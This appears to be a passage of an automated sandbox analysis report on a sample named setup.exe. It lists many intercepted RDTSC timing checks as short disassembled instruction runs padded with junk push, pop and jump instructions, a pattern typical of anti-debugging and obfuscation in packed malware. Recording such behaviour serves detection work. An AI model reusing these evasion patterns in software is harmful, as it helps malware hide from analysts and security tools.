Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64B3F4 second address: 64B3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64B3FC second address: 64B446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FC169461A9Dh 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007FC169461AABh 0x00000016 push ebx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop ebx 0x0000001a pushad 0x0000001b ja 00007FC169461A96h 0x00000021 push edi 0x00000022 pop edi 0x00000023 jnl 00007FC169461A96h 0x00000029 popad 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 59C328 second address: 59C32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 649414 second address: 649419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 649419 second address: 64941F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64941F second address: 64943D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC169461A96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC169461AA0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64943D second address: 649441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6496FC second address: 64971A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC169461AA0h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64971A second address: 64973B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Bh 0x00000007 jmp 00007FC16945A27Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64973B second address: 649755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 649755 second address: 64976F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A286h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64976F second address: 649779 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC169461A96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64A2A9 second address: 64A2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64A590 second address: 64A59B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FC169461A96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CA6E second address: 64CA74 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CA74 second address: 64CA8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jns 00007FC169461A96h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CA8A second address: 64CA8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CA8F second address: 64CA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CA95 second address: 64CAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64CAA1 second address: 64CABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64F97C second address: 64F980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64F980 second address: 64F9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC169461A96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FC169461AA3h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FC68 second address: 64FC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FC6C second address: 64FC76 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC169461A96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FD93 second address: 64FD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FD97 second address: 64FDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC169461A96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jne 00007FC169461AB5h 0x00000014 js 00007FC169461A96h 0x0000001a jmp 00007FC169461AA9h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FDCD second address: 64FDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FF35 second address: 64FF3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FF3B second address: 64FF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 64FF41 second address: 64FF4B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC169461A9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 659FD9 second address: 659FE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 659FE4 second address: 65A018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC169461AA5h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC169461AA5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65A310 second address: 65A316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65A316 second address: 65A31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65A31C second address: 65A339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 je 00007FC16945A276h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jp 00007FC16945A276h 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65A339 second address: 65A33D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65A33D second address: 65A35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FC16945A27Ch 0x0000000e jbe 00007FC16945A27Ah 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65ACD5 second address: 65ACDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65ACDD second address: 65ACE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 65BBA3 second address: 65BBAD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC169461A96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 663058 second address: 663069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC16945A276h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 663069 second address: 66307F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC169461A9Fh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 662D8A second address: 662D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6661C7 second address: 6661CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 66F48F second address: 66F4A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FC16945A278h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 66F4A8 second address: 66F4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FC169461A9Ch 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 66F4BB second address: 66F4C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 66F4C2 second address: 66F4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 67F481 second address: 67F486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 67F306 second address: 67F310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 67F310 second address: 67F31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FC16945A276h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6855DC second address: 6855E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6855E0 second address: 6855E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6855E4 second address: 6855F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FC169461A9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6855F2 second address: 6855F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68783E second address: 687872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461A9Fh 0x00000009 js 00007FC169461A96h 0x0000000f jmp 00007FC169461AA7h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 688F74 second address: 688F7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E150 second address: 68E158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E2B1 second address: 68E2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E2B5 second address: 68E2B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E68B second address: 68E6BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A284h 0x00000007 jmp 00007FC16945A282h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E6BB second address: 68E6ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FC169461A9Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC169461AA4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 68E6ED second address: 68E6F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 693760 second address: 693764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 693764 second address: 693771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6A2DC2 second address: 6A2DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6A2DDC second address: 6A2DE9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6A2DE9 second address: 6A2DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6A2DF2 second address: 6A2E1E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FC16945A285h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B0635 second address: 6B063F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC169461A96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B063F second address: 6B065C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A289h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B065C second address: 6B067A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC169461AA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B067A second address: 6B0699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FC16945A288h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B3476 second address: 6B347E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B347E second address: 6B3482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B3482 second address: 6B3486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B31CD second address: 6B31D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6B31D1 second address: 6B31E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FC169461A98h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f js 00007FC169461AA0h 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CBDD5 second address: 6CBE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FC16945A286h 0x0000000b jmp 00007FC16945A27Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CBE03 second address: 6CBE19 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC169461A96h 0x00000008 jmp 00007FC169461A9Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CBE19 second address: 6CBE79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC16945A283h 0x00000008 jmp 00007FC16945A284h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jc 00007FC16945A2A5h 0x00000020 jmp 00007FC16945A27Ah 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC16945A281h 0x0000002c jbe 00007FC16945A276h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CB039 second address: 6CB043 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC169461A96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CB043 second address: 6CB063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A286h 0x00000009 jo 00007FC16945A276h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CB063 second address: 6CB069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CB58C second address: 6CB590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CB590 second address: 6CB5B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC169461AA9h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CE7C6 second address: 6CE7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6CE84C second address: 6CE856 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC169461A96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D00F7 second address: 6D00FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D1BBD second address: 6D1BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D1BC1 second address: 6D1BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D178C second address: 6D17AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FC169461A9Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D17AB second address: 6D17B5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC16945A276h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D3521 second address: 6D353A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC169461AA3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D353A second address: 6D353E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D353E second address: 6D3552 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6D3552 second address: 6D3563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007FC16945A276h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
